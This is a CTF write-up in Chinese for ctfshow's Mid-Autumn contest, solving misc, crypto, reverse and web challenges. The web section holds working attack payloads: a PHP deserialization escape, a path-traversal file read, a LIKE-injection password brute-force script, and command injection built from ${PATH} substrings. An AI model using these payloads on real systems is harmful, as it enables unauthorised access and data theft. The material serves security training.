主頁 > 移動端開發 > ctfshow-月餅杯WP

ctfshow-月餅杯WP

2020-09-29 20:48:07 移動端開發

文章目錄

  • Misc
    • 附加misc_問青天
    • misc2_洗寰瀛
  • Crypto
    • crypto1_中秋月
    • crypto2_月自圓
    • crypto3_多少離懷
  • Reverse
    • re2_歸心
  • Web
    • web1_此夜圓
    • web2_故人心
    • web3_莫負嬋娟

Misc

附加misc_問青天

下載附件解壓得到一個welcome.gif

直接foremost工具分離得到一個加密了的zip檔案,然后一開始爆破啥的都試了都解不出來,后來出了hint

小姐姐聲音是aiff格式

百度找到aiff檔案頭為464f524d00,直接到welcome.gif檔案里找,不知道檔案尾沒關系,將之后的所有內容全部復制出來保存為1.aiff
在這里插入圖片描述
打開聽了10多遍終于聽清了小姐姐說的是歡迎ctfshow的小哥哥來玩

將此作為壓縮包的密碼解壓得到一張圖片c.png
在這里插入圖片描述
觀察了一下,發現一圈都是由-|組成的,且都是8位(除了第三個是7位,感覺是群主不小心少畫了),
嘗試了一下,將-當作0| 當作1
那么最上面的那個就是01100110,十進制是102,對應ascii是f
第二個01101100對應ascii是l
第三個只有7位,是0110000001100001,而01100001對應ascii是a
其實已經出來了,就是二進制轉字符,腳本如下:

s = '01100110 01101100 01100001 01100111 01111011 01100011 01110100 01100110 01011111 01110011 01101000 01101111 01110111 01011111 01101111 01100110 01011111 01100111 01101111 01101100 01100100 01011111 01110010 01100101 01100011 01101111 01110010 01100100 01111101'
s_list = s.split(' ')

flag = ''
for i in range(len(s_list)):
	flag += chr(int(s_list[i],2))
print(flag)

flag為:flag{ctf_show_of_gold_record}


misc2_洗寰瀛

多虧出題人hint給的多

1. 步驟1預計時間為50分鐘
2. zip明文攻擊
3. https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md
4. flag[0:9]=='flag{TriG' 可能字體檔案有問題

zip明文攻擊詳解參考文章:加密Zip包(Deflate + ZipCrypto)攻擊小結,

使用工具:rbkcrack,

因為壓縮包里就一張Triglavian.png圖片,而png圖片的開頭有16位元組是不變的,為89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
這里我們需要自己創建一個png_header.png檔案,內容就是由那16位元組組成,
在這里插入圖片描述
開始攻擊

> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -p PNG_header.png

-C 要攻擊的壓縮包
-c 要攻擊的壓縮包里面的檔案
-p 剛創建的明文檔案名

等了一個小時左右吧,能破解得到ZipCrypto的內部的三個key:be056038 0a143c0c 1ea08ca5
在這里插入圖片描述
用這三個key來解碼檔案

> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -k be056038 0a143c0c 1ea08ca5 -d Triglavian.png

-C 要攻擊的壓縮包
-c 要攻擊的壓縮包里面的檔案
-k 剛生成的三個key
-d 最侄訓原的檔案名

在這里插入圖片描述
就會在同路徑下得到圖片Triglavian.png
在這里插入圖片描述
發現紅色字體很奇怪,長得就像是flag的變形版,

百度搜索Triglavian,發現是深淵三神裔字體(Triglavian fonts),
在這里插入圖片描述
圖片下載鏈接
字體下載鏈接

一一對照的就能得出flag:flag{TriG1aviAn_Techn0lo9y}




Crypto

crypto1_中秋月

下載附件得到內容

fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu

自動鑰匙⊕
明文全大寫,得到后轉小寫,并以_連接單詞,
題目hint

某古典密碼
經此古典密碼加密后,密文還是大寫
該古典密碼的密鑰形式:keyword+plaintext (+plaintext...+plaintext)

其實這道題一開始我就找到了是Autokey密碼,也用了網上現成的腳本break_autokey.py,
一些相關模塊地址:http://www.practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/#a-python-implementation,
單獨下載:trigrams.txt、quadgrams.txt、ngram_score.py,

但是沒跑出來,
一開始也一直不知道異或⊕的用處,后來看到群里阿貍大佬發的截圖,看出加密的字串不是一開始給的那串,懷疑是不是異或了什么東西,
在這里插入圖片描述
然后就自己嘗試異或一下,腳本:

s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'
for i in range(255):
	res=''
	for j in range(0,len(s)):
		temp = ord(s[j])^i
		if 65<=temp<=90 or 97<=temp<=122:	#由大小寫字母構成
			res += (chr(temp))
	if len(res)==len(s):
		print(res)

得到

ylltmfzqitrausdzulbuhyselqoxrvynddudcljwemuooqgcnivgkahwj
YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ

然后再次嘗試使用break_autokey.py:

from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations

qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
ctext = 'YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())

# keep a list of the N best things we have seen, discard anything else
class nbest(object):
    def __init__(self,N=1000):
        self.store = []
        self.N = N
        
    def add(self,item):
        self.store.append(item)
        self.store.sort(reverse=True)
        self.store = self.store[:self.N]
    
    def __getitem__(self,k):
        return self.store[k]

    def __len__(self):
        return len(self.store)

#init
N=100
for KLEN in range(8,20):
    rec = nbest(N)

    for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
        key = ''.join(i) + 'A'*(KLEN-len(i))
        pt = Autokey(key).decipher(ctext)
        score = 0
        for j in range(0,len(ctext),KLEN):
            score += trigram.score(pt[j:j+3])
        rec.add((score,''.join(i),pt[:30]))

    next_rec = nbest(N)
    for i in range(0,KLEN-3):
        for k in range(N):
            for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
                key = rec[k][1] + c
                fullkey = key + 'A'*(KLEN-len(key))
                pt = Autokey(fullkey).decipher(ctext)
                score = 0
                for j in range(0,len(ctext),KLEN):
                    score += qgram.score(pt[j:j+len(key)])
                next_rec.add((score,key,pt[:30]))
        rec = next_rec
        next_rec = nbest(N)
    bestkey = rec[0][1]
    pt = Autokey(bestkey).decipher(ctext)
    bestscore = qgram.score(pt)
    for i in range(N):
        pt = Autokey(rec[i][1]).decipher(ctext)
        score = qgram.score(pt)
        if score > bestscore:
            bestkey = rec[i][1]
            bestscore = score       
    print(bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext).lower())

得到

-306.4154316738783 autokey, klen 8 :"KYIFZYWC", ondonhdougomhlalafnianstllbprigusstolddcmubadndaboughnewi
-290.9667615558167 autokey, klen 9 :"NHSZZCZEI", letundamainhafazilthaynemidekvaazrmaybowendcosforeidimprv
-252.5124922641369 autokey, klen 10 :"KEYFORFLAG", ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
-272.6830354332479 autokey, klen 11 :"QJTTBDRTGFE", icsalcixconssadosdestlamlnaforgusdispleingawlioncenteallb
-284.1217857757366 autokey, klen 12 :"ELAJWLRDEVRL", ualkquineyapassperthdasplywinefgadcornnoripioneowvistssov
^C

當klen為10時,ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
結合提示flag為:flag{do_you_like_classical_cipher}


crypto2_月自圓

原始碼檔案Baby(Don't)Cry.py

# -*- coding:utf-8 -*-
#Author: Lazzaro

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	m = '****************************************************flag{*************}'
	assert(len(m)==71)
	a = randint(50,100)
	#隨機產生四位大寫字母
	salt = ''.join(sample(ascii_uppercase, 4))
	#迭代
	si = cycle(salt.lower())
	c=encrypt(m, a, si)
	print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a

明文長度為71位,加密后為142位,
這里由于a不大,salt長度也不長,且明文m中存在flag,正好可以用這幾位去爆破出asalt
flag在明文m中的位置是53,對應密文c中的位置是105,flag出現的位置正好對應salt的位置,

f ? 1c
l ? 29
a ? 56
g ? 66

寫腳本爆出a、salt

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c

if __name__ == "__main__":
	for i in range(50,100):
		for j in ascii_uppercase:
			si = cycle(j.lower())
			# if encrypt('f', i, si)=='1c':
			# 	print('i =',i,'\tj =',j)

			if encrypt('l', i, si)=='29':
				print('i =',i,'\tj =',j)

結果:
滿足encrypt('f', i, si)=='1c'的結果:

i = 52 	j = D
i = 57 	j = F
i = 62 	j = H
i = 67 	j = J
i = 72 	j = L
i = 77 	j = N
i = 82 	j = P
i = 87 	j = R
i = 92 	j = T
i = 97 	j = V

滿足encrypt('l', i, si)=='29'的結果:

i = 54 	j = A
i = 55 	j = U
i = 61 	j = M
i = 67 	j = E
i = 68 	j = Y
i = 74 	j = Q
i = 80 	j = I
i = 86 	j = A
i = 87 	j = U
i = 93 	j = M
i = 99 	j = E

相同的i只有67,說明亂數a=67

然后拿著a去繼續爆salt的后兩位

if encrypt('a', 67, si)=='56':
	print('j =',j)

if encrypt('g', 67, si)=='66':
	print('j =',j)

最終得出salt='JESQ'
知道了隨機出a和salt,這道題就出來了

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	
	salt = 'JESQ'
	si = cycle(salt.lower())
	c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
	res = ''
	for i in range(0,len(c),2):
		ssi = next(si)
		for j in range(32,127):
			if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
				res += chr(j)
	print(res)

得到最終結果:

now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}

7fad9fcb-d361-4964-821c-177c906b8d20-JESQ經md5加密后為1efce62ee0a96e39149e2179db1dd04c
最終flag:flag{1efce62ee0a96e39149e2179db1dd04c}


crypto3_多少離懷

# -*- coding:utf-8 -*-
#Author: Lazzaro

from Crypto.Util.number import getPrime,isPrime
from math import gamma
import random

def nextPrime(n):
    n += 2 if n & 1 else 1
    while not isPrime(n):
        n += 2
    return n

def getNewPrime():
    A = getPrime(512)
    B = nextPrime(A - random.randint(1e4,1e5))
    return nextPrime(gamma(B+2)%A)
	
p = getNewPrime()
q = getNewPrime()
r = getNewPrime()
n = p * q ** 2 * r ** 3
e = 0x10001
c = pow(flag,e,n)

#pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
#pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
#qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
#qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
#n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
#c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374

hint

注意伽馬函式Γ(x)和階乘x!的關系式
威爾遜定理

要不是?Lazzaro?師傅放出這些hint,我一個半吊子肯定做不來這道題,

知識點

#伽馬函式Γ(x)和階乘x!的關系式
gamma(n)=(n-1)!

#威爾遜定理
當且僅當p為素數時:(p-1)! ≡ -1 (mod p)
推論:(p-2)! ≡ 1 (mod p)

#歐拉函式
若n是質數p的k次冪,phi = p**k - p**(k-1)

回到題目
我們需要求gamma(B+2)%A,根據伽馬函式Γ(x)和階乘x!的關系式可知(B+1)! % A
而根據威爾遜定理可知(A-2)! % A = 1
x = (A-2)!/(B+1)!y = (B+1)!,所以x * y ≡ 1 (mod A)
而我們需要求的是y % A,y是x關于A的逆元,所以求x % A的逆元即可,
這里由于A、B相差還不到10萬,所以很容易求解出x % A

# -*- coding:utf-8 -*-
#Author: airrudder

from Cryptodome.Util.number import getPrime,isPrime,long_to_bytes
from math import gamma
import random
import gmpy2
import binascii

def nextPrime(n):
    n += 2 if n & 1 else 1
    while not isPrime(n):
        n += 2
    return n

def getNewPrime():
    A = getPrime(512)
    B = nextPrime(A - random.randint(1e4,1e5))
    return nextPrime(gamma(B+2)%A)

pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457

e = 0x10001
n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374

#求 ((pA-2)!/(pB+1)!)%pA 的逆元,等于((pB+1)!)%pA ,等于gamma(pB+2)%pA
p = 1
max = (pA-2) - (pB+1)
for i in range(0,max):
	p = p * gmpy2.invert((pA-i-2),pA) % pA
p = nextPrime(p)
#求 ((qA-2)!/(qB+1)!)%qA 的逆元,等于((qB+1)!)%qA ,等于gamma(qB+2)%qA
q = 1
max = (qA-2) - (qB+1)
for i in range(0,max):
	q = q * gmpy2.invert((qA-i-2),qA) % qA
q = nextPrime(q)

r = gmpy2.iroot(n/(p*q**2),3)
print(r)

print('p =',p)
print('q =',q)
print('r =',r[0])
phi = (p-1)*(q**2-q)*(r[0]**3-r[0]**2)
d = gmpy2.invert(e,phi)
m = pow(c, d, n) 
print(long_to_bytes(m))

flag:flag{N0w_U_knOw_how_70_u5E_W1lS0n'5_Th30r3m~}




Reverse

re2_歸心

下載附件得到readme,exe,提示

你應該見過python代碼打包成的exe,猜猜這是什么語言

本人是不會玩逆向的,但是看到這種提示,感覺是可以用工具直接反編譯成源代碼的感覺,

用IDA打開并按Shift+F12查看字串視窗,可以看到很多和java有關的字符
在這里插入圖片描述
百度了一下exe 反編譯 java,發現說exe4j只是將java程式,使用自己的方式打包了一下而已,所以運行的時候還是會轉成jar來運行,也就是運行readme.exe會自動生成一個readme.jar
直接使用工具找到這個jar檔案
在這里插入圖片描述
jd-gui.jar反編譯打開
在這里插入圖片描述
直接出flag:flag{You_Win_0nce_You_C_Me}




Web

web1_此夜圓

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

這里由于只能get傳入一個1引數,最后經反序列化后password==='yu22x'就能拿到flag,
而1引數賦值給的是$uname,這里就涉及到了反序列化逃逸,可以參考羽師傅的文章:[0CTF 2016]piapiapia(反序列化逃逸),

#示例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));

#得出
array(1) {
  [0]=>
  string(3) "abc"
}

也就是說,反序列化出來就會把后面的忽略掉,
此題默認password=1,反序列化后就會生成s:8:"password";i:1;
而我們可以自己構造s:8:"password";s:5:"yu22x";

嘗試一下在本地傳入Firebasky";s:8:"password";s:5:"yu22x";}

$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;

序列化結果

O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

這里由于我們傳入的字串有39位,把我們需要的password也給覆寫了
在這里插入圖片描述
";s:8:"password";s:5:"yu22x";}的長度為30,而每輸入一個Firebasky被替換成Firebaskyup,長度保持不變,也就可以逃逸出2個字符,所以這里需要15個Firebasky就能逃逸出30個字符,
所以最終payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

在這里插入圖片描述


web2_故人心

源代碼

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差點點就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一個都過不了還想要flag呀?!';
}
第一個都過不了還想要flag呀?!

題目hint

存在一個robots.txt

第一關

is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0

?a=1e-162,嘗試后發現數只要在-323-162之間的都可以,

第二關

($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))

跟以前的md5類似啊,用0e開頭的數,一次加密后也是0e的一個數和兩次加密后也是0e的數就可以,
后來還給了hint,訪問robots.txt,得到hinthint.txt,內容

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

腳本:

<?php
/*	//直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
	$b=hash("md2", '0e'.$i);
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
*/

for ($i=0; $i < 999999; $i++) { 
	$b=hash("md2", '0e'.$i.'024452');
	if(is_numeric($b) && substr($b,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$b = ';echo $b;
	}

	$c=hash("md2",hash("md2", '0e'.$i.'48399'));
	if(is_numeric($c) && substr($c,0,2)==='0e'){
		echo '$i = ';echo $i;
		echo '$c = ';echo $c;
	}
}
?>

能得到b=0e652024452,c=0e603448399,

第三關
php遇到不認識的協議就會當目錄處理,例如a://aaa/…/…/etc/passwd之類的,

url=a://ctfshow.com/../../../../../../../fl0g.txt

在這里插入圖片描述


web3_莫負嬋娟

在這里插入圖片描述
右鍵查看源代碼發現

<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

看來是like注入了,
like模糊查詢可以使用%匹配多個字符,_匹配單個字符,
嘗試后發現%被過濾,不過下劃線(_)并沒有被過濾,
這里就需要猜測password的位數了,好家伙,竟然密碼有32位,如果小于或大于32個_都會報wrong username or password,只有正確匹配才會顯示I have filtered all the characters. Why can you come in? get out!
在這里插入圖片描述
既然這樣,就可以爆破出密碼,
腳本

import requests
import string

strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
	print('i = '+str(i+1),end='\t')
	for j in strs:
		password = pwd + j + (31-i)*'_'
		data = {'username':'yu22x','password':password}
		r = requests.post(url,data=data)
		if 'wrong' not in r.text:
			pwd += j
			print(pwd)
			break

密碼為67815b0c009ee970fe4014abaa3Fa6A0

填入密碼來到/P1099.php界面,
在這里插入圖片描述
Normal connection表示正常連接
Abnormal connection表示例外連接;
evil input表示被過濾了,

嘗試發現過濾了一堆,就連a都過濾了,那就FUZZ跑可顯示的字符,看看都過濾了什么
在這里插入圖片描述
小寫字母全被過濾,大寫字母、數字、$:沒被過濾,
linux里有一個環境變數$PATH,可以用它來構造小寫字母執行命令,
在這里插入圖片描述

嘗試構造ls得到flag.php,

ip=0;${PATH:5:1}${PATH:2:1}

在這里插入圖片描述
構造nl flag.php右鍵查看源代碼得到flag

ip=0;${PATH:14:1}${PATH:5:1} ????.???

在這里插入圖片描述


轉載請注明出處
回傳目錄
本文網址:https://blog.csdn.net/hiahiachang/article/details/108800210

轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/139795.html

標籤:其他

上一篇:python網路爬蟲學習筆記(十一):Ajax資料爬取

下一篇:撰寫python代碼實作打開并登錄網頁、對網頁進行點擊、輸入資訊等操作

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【從零開始擼一個App】Dagger2

    Dagger2是一個IOC框架,一般用于Android平臺,第一次接觸的朋友,一定會被搞得暈頭轉向。它延續了Java平臺Spring框架代碼碎片化,注解滿天飛的傳統。嘗試將各處代碼片段串聯起來,理清思緒,真不是件容易的事。更不用說還有各版本細微的差別。 與Spring不同的是,Spring是通過反射 ......

    uj5u.com 2020-09-10 06:57:59 more
  • Flutter Weekly Issue 66

    新聞 Flutter 季度調研結果分享 教程 Flutter+FaaS一體化任務編排的思考與設計 詳解Dart中如何通過注解生成代碼 GitHub 用對了嗎?Flutter 團隊分享如何管理大型開源專案 插件 flutter-bubble-tab-indicator A Flutter librar ......

    uj5u.com 2020-09-10 06:58:52 more
  • Proguard 常用規則

    介紹 Proguard 入口,如何查看輸出,如何使用 keep 設定入口以及使用實體,如何配置壓縮,混淆,校驗等規則。

    ......

    uj5u.com 2020-09-10 06:59:00 more
  • Android 開發技術周報 Issue#292

    新聞 Android即將獲得類AirDrop功能:可向附近設備快速分享檔案 谷歌為安卓檔案管理應用引入可安全隱藏資料的Safe Folder功能 Android TV新主界面將顯示電影、電視節目和應用推薦內容 泄露的Android檔案暗示了傳說中的谷歌Pixel 5a與折疊屏新機 谷歌發布Andro ......

    uj5u.com 2020-09-10 07:00:37 more
  • AutoFitTextureView Error inflating class

    報錯: Binary XML file line #0: Binary XML file line #0: Error inflating class xxx.AutoFitTextureView 解決: <com.example.testy2.AutoFitTextureView android: ......

    uj5u.com 2020-09-10 07:00:41 more
  • 根據Uri,Cursor沒有獲取到對應的屬性

    Android: 背景:呼叫攝像頭,拍攝視頻,指定保存的地址,但是回傳的Cursor檔案,只有名稱和大小的屬性,沒有其他諸如時長,連ID屬性都沒有 使用 cursor.getInt(cursor.getColumnIndexOrThrow(MediaStore.Video.Media.DURATIO ......

    uj5u.com 2020-09-10 07:00:44 more
  • Android連載29-持久化技術

    一、持久化技術 我們平時所使用的APP產生的資料,在記憶體中都是瞬時的,會隨著斷電、關機等丟失資料,因此android系統采用了持久化技術,用于存盤這些“瞬時”資料 持久化技術包括:檔案存盤、SharedPreference存盤以及資料庫存盤,還有更復雜的SD卡記憶體儲。 二、檔案存盤 最基本存盤方式, ......

    uj5u.com 2020-09-10 07:00:47 more
  • Android Camera2Video整合到自己專案里

    背景: Android專案里呼叫攝像頭拍攝視頻,原本使用的 MediaStore.ACTION_VIDEO_CAPTURE, 后來因專案需要,改成了camera2 1.Camera2Video 官方demo有點問題,下載后,不能直接整合到專案 問題1.多次拍攝視頻崩潰 問題2.雙擊record按鈕, ......

    uj5u.com 2020-09-10 07:00:50 more
  • Android 開發技術周報 Issue#293

    新聞 谷歌為Android TV開發者提供多種新功能 Android 11將自動填表功能整合到鍵盤輸入建議中 谷歌宣布Android Auto即將支持更多的導航和數字停車應用 谷歌Pixel 5只有XL版本 搭載驍龍765G且將比Pixel 4更便宜 [圖]Wear OS將迎來重磅更新:應用啟動時間 ......

    uj5u.com 2020-09-10 07:01:38 more
  • 海豚星空掃碼投屏 Android 接收端 SDK 集成 六步驟

    掃碼投屏,開放網路,獨占設備,不需要額外下載軟體,微信掃碼,發現設備。支持標準DLNA協議,支持倍速播放。視頻,音頻,圖片投屏。好點意思。還支持自定義基于 DLNA 擴展的操作動作。好像要收費,沒體驗。 這里簡單記錄一下集成程序。 一 跟目錄的build.gradle添加私有mevan倉庫 mave ......

    uj5u.com 2020-09-10 07:01:43 more
最新发布
  • 歡迎頁輪播影片

    如圖,引導開始,球從上落下,同時淡入文字,然后文字開始輪播,最后一頁時停止,點擊進入首頁。 在來看看效果圖。 重力球先不講,主要歡迎輪播簡單實作 首先新建一個類 TextTranslationXGuideView,用于影片展示 文本是類似的,最后會有個圖片箭頭影片,布局很簡單,就是一個 TextVi ......

    uj5u.com 2023-04-20 08:40:31 more
  • 【FAQ】關于華為推送服務因營銷訊息頻次管控導致服務通訊類訊息

    一. 問題描述 使用華為推送服務下發IM訊息時,下發訊息請求成功且code碼為80000000,但是手機總是收不到訊息; 在華為推送自助分析(Beta)平臺查看發現,訊息發送觸發了頻控。 二. 問題原因及背景 2023年1月05日起,華為推送服務對咨詢營銷類訊息做了單個設備每日推送數量上限管理,具體 ......

    uj5u.com 2023-04-20 08:40:11 more
  • 歡迎頁輪播影片

    如圖,引導開始,球從上落下,同時淡入文字,然后文字開始輪播,最后一頁時停止,點擊進入首頁。 在來看看效果圖。 重力球先不講,主要歡迎輪播簡單實作 首先新建一個類 TextTranslationXGuideView,用于影片展示 文本是類似的,最后會有個圖片箭頭影片,布局很簡單,就是一個 TextVi ......

    uj5u.com 2023-04-20 08:39:36 more
  • 【FAQ】關于華為推送服務因營銷訊息頻次管控導致服務通訊類訊息

    一. 問題描述 使用華為推送服務下發IM訊息時,下發訊息請求成功且code碼為80000000,但是手機總是收不到訊息; 在華為推送自助分析(Beta)平臺查看發現,訊息發送觸發了頻控。 二. 問題原因及背景 2023年1月05日起,華為推送服務對咨詢營銷類訊息做了單個設備每日推送數量上限管理,具體 ......

    uj5u.com 2023-04-20 08:39:13 more
  • iOS從UI記憶體地址到讀取成員變數(oc/swift)

    開發除錯時,我們發現bug時常首先是從UI顯示發現例外,下一步才會去定位UI相關連的資料的。XCode有給我們提供一系列debug工具,但是很多人可能還沒有形成一套穩定的除錯流程,因此本文嘗試解決這個問題,順便提出一個暴論:UI顯示例外問題只需要兩個步驟就能完成定位作業的80%: 定位例外 UI 組 ......

    uj5u.com 2023-04-19 09:16:23 more
  • FIDE重磅更新!性能飛躍!體驗有禮!

